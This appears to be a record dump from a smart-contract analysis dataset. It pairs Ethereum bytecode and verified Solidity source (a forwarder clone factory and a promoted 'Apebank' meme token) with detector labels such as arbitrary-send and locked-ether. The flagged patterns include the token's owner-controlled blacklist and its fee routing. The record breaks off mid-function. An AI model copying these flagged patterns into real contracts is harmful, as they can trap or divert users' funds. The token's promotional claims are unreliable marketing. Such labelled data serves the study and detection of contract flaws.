5b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106ba57808201518184015260208101905061069f565b505050509050019250505060405180910390f35b3480156106da57600080fd5b50610707600480360360208110156106f157600080fd5b81019080803590602001909291905050506115fc565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561074a57808201518184015260208101905061072f565b505050509050019250505060405180910390f35b34801561076a57600080fd5b50610773611828565b6040518082815260200191505060405180910390f35b34801561079557600080fd5b506107c2600480360360208110156107ac57600080fd5b810190808035906020019092919050505061182e565b005b3480156107d057600080fd5b506107fd600480360360208110156107e757600080fd5b81019080803590602001909291905050506118e4565b005b34801561080b57600080fd5b506108ef6004803603606081101561082257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561086957600080fd5b82018360208201111561087b57600080fd5b8035906020019184600183028401116401000000008311171561089d57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611ad1565b6040518082815260200191505060405180910390f35b34801561091157600080fd5b5061091a611af0565b6040518082815260200191505060405180910390f35b34801561093c57600080fd5b50610945611af5565b6040518082815260200191505060405180910390f35b34801561096757600080fd5b506109ca6004803603604081101561097e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611afb565b005b3480156109d857600080fd5b50610a05600480360360208110156109ef57600080fd5b8101908080359060200190929190505050611e05565b005b60038181548110610a1457fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7b57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610ad257600080fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008090505b600160038054905003811015610c52578273ffffffffffffffffffffffffffffffffffffffff1660038281548110610b6457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c4557600360016003805490500381548110610bc057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660038281548110610bf857fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c52565b8080600101915050610b30565b506001600381818054905003915081610c6b9190612233565b506003805490506004541115610c8a57610c8960038054905061182e565b5b8173ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d2857600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d9157600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610dbf57600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610f4d57838015610f01575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610f345750828015610f33575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610f40576001820191505b8080600101915050610eca565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f8c57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fe457600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561101f57600080fd5b6001600380549050016004546032821115801561103c5750818111155b8015611049575060008114155b8015611056575060008214155b61105f57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000905060008090505b60038054905081101561124457600160008581526020019081526020016000206000600383815481106111a357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611222576001820191505b60045482141561123757600192505050611247565b8080600101915050611174565b50505b919050565b600080600090505b60038054905081101561130f576001600084815260200190815260200160002060006003838154811061128357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611302576001820191505b8080600101915050611254565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113ed5780601f106113c2576101008083540402835291602001916113ed565b820191906000526020600020905b8154815290600101906020018083116113d057829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561148e57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611444575b5050505050905090565b6060806005546040519080825280602002602001820160405280156114cc5781602001602082028038833980820191505090505b509050600080905060008090505b60055481101561157657858015611511575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806115445750848015611543575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611569578083838151811061155657fe5b6020026020010181815250506001820191505b80806001019150506114da565b8787036040519080825280602002602001820160405280156115a75781602001602082028038833980820191505090505b5093508790505b868110156115f1578281815181106115c257fe5b602002602001015184898303815181106115d857fe5b60200260200101818152505080806001019150506115ae565b505050949350505050565b6060806003805490506040519080825280602002602001820160405280156116335781602001602082028038833980820191505090505b509050600080905060008090505b60038054905081101561177a576001600086815260200190815260200160002060006003838154811061167057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561176d57600381815481106116f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811061172c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611641565b816040519080825280602002602001820160405280156117a95781602001602082028038833980820191505090505b509350600090505b81811015611820578281815181106117c557fe5b60200260200101518482815181106117d957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506117b1565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461186657600080fd5b600380549050816032821115801561187e5750818111155b801561188b575060008114155b8015611898575060008214155b6118a157600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661193b57600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff1660008083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156119ab57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a1557600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a3611aca85611e05565b5050505050565b6000611ade8484846120a7565b9050611ae9816118e4565b9392505050565b603281565b60045481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b3357600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611b8a57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611be257600080fd5b60008090505b600380549050811015611cc8578473ffffffffffffffffffffffffffffffffffffffff1660038281548110611c1957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611cbb578360038281548110611c6e57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611cc8565b8080600101915050611be8565b506000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28273ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a250505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e5c57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ec557600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615611ef357600080fd5b611efc85611167565b156120a0576000806000878152602001908152602001600020905060018160030160006101000a81548160ff02191690831515021790555061201c8160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826001015483600201805460018160011615610100020316600290049050846002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120125780601f10611fe757610100808354040283529160200191612012565b820191906000526020600020905b815481529060010190602001808311611ff557829003601f168201915b505050505061220c565b1561205357857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a261209e565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008160030160006101000a81548160ff0219169083151502179055505b505b5050505050565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156120e457600080fd5b600554915060405180608001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020190805190602001906121a292919061225f565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b81548183558181111561225a5781836000526020600020918201910161225991906122df565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122a057805160ff19168380011785556122ce565b828001600101855582156122ce579182015b828111156122cd5782518255916020019190600101906122b2565b5b5090506122db91906122df565b5090565b61230191905b808211156122fd5760008160009055506001016122e5565b5090565b9056fea165627a7a723058205b50a37c8b050381df7b68e53738ceeb1a04d1399c40feedc657abbcd82dcd560029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,301
0x059ffafdc6ef594230de44f824e2bd0a51ca5ded
/** *Submitted for verification at Etherscan.io on 2021-02-24 */ pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /** * Contract that exposes the needed erc20 token functions */ abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /** * Contract that will forward any incoming Ether to the creator of the contract * */ contract Forwarder { // Address to which any funds sent to this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /** * Initialize the contract, and sets the destination address to that of the creator */ function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /** * Modifier that will execute internal code block only if the sender is the parent address */ modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /** * Modifier that will execute internal code block only if the contract has not been initialized yet */ modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /** * Default function; Gets called when data is sent but does not match any other function */ fallback() external payable { flush(); } /** * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address */ receive() external payable { flush(); } /** * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract */ function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /** * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
0x6080604052600436106100425760003560e01c8062821de31461005b57806319ab453c1461009c5780633ef13367146100ed5780636b9f96ea1461013e57610051565b366100515761004f610155565b005b610059610155565b005b34801561006757600080fd5b506100706102f5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100a857600080fd5b506100eb600480360360208110156100bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610319565b005b3480156100f957600080fd5b5061013c6004803603602081101561011057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105bc565b005b34801561014a57600080fd5b50610153610155565b005b6000479050600081141561016957506102f3565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260405180600001905060006040518083038185875af1925050503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b5050905080610266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f466c757368206661696c6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b7f69b31548dea9b3b707b4dff357d326e3e9348b24e7a6080a218a6edeeec48f9b3383600036604051808573ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509550505050505060405180910390a150505b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e697469616c697a65640000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000479050600081141561042f57506105b9565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260405180600001905060006040518083038185875af1925050503d80600081146104b0576040519150601f19603f3d011682016040523d82523d6000602084013e6104b5565b606091505b505090508061052c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f466c757368206661696c6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b7f69b31548dea9b3b707b4dff357d326e3e9348b24e7a6080a218a6edeeec48f9b3083600036604051808573ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509550505050505060405180910390a150505b50565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4f6e6c7920506172656e7400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000819050600030905060008273ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156106f057600080fd5b505afa158015610704573d6000803e3d6000fd5b505050506040513d602081101561071a57600080fd5b81019080805190602001909291905050509050600081141561073e5750505061076d565b6107698460008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610770565b5050505b50565b600060608473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8585604051602401808373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106108335780518252602082019150602081019050602083039250610810565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610895576040519150601f19603f3d011682016040523d82523d6000602084013e61089a565b606091505b50915091508180156108da57506000815114806108d957508080602001905160208110156108c757600080fd5b81019080805190602001909291905050505b5b61092f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180610937602d913960400191505060405180910390fd5b505050505056fe5472616e7366657248656c7065723a3a736166655472616e736665723a207472616e73666572206661696c6564a2646970667358221220934a7b5f246917d20f5e049b9344e4f3d923110c9d150ea2a4118848dd414bc364736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,302
0x2269e0d21b682c1622fe3dfc636db905cd4a0b24
/** *Submitted for verification at Etherscan.io on 2022-02-23 */ /* The only Bank you need right now which gives back to the community, Daily Buying competitions, Calls, Buybacks Telegram: https://t.me/apebank 100% STEALTH LAUNCH Initial LP: 4 ETH Max Buy : 2.5% or 25,000,000 Total Supply : 1,000,000,000 Tax : 10% 2% Reflections 4% Big Callers are coming 👀 4% Buy Competitions SLippage: 10% + */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract apebanktoken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Apebank"; string private constant _symbol = "Apebank"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xf8d790b8f8fa81dc8E5197C256DBa45BaBbB8296); _buyTax = 10; _sellTax = 10; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { require(amount <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { 